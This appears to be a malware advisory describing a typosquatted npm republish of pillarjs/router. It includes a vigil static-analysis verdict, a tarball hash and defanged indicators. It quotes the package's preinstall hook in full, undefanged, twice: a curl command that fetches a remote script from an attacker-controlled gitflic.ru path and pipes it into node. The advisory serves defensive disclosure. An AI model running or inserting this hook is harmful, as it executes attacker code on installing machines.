GCVE-110-OSM-2026-13099

package.json:43 contains a preinstall hook `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading and executing a remote script from an attacker-controlled host at install time. The package is a typosquat-style republish of the legitimate pillarjs/router with only this malicious hook added. ## Static analysis (vigil) Verdict `BLOCK`, score 25/100. Critical/high findings: - [critical] MANIFEST-001 Malicious install script — `package/package.json:1` ## Package metadata - Publisher: unknown - Published: unknown - Install hooks: preinstall=curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node - SHA-256 (tarball): `90ae19aa0bb9058f7b551fbf1cfecf42907c54a6acd45ab79f482318dbe67676` - Registry metadata: unavailable (package likely removed from npm) ## IOCs (defanged) - gitflic[.]ru - hxxps://web[.]archive[.]org/web/https://gitflic[.]ru/project/hellscripter/install-scripts/blob/raw?file=node[.]js - web[.]archive[.]org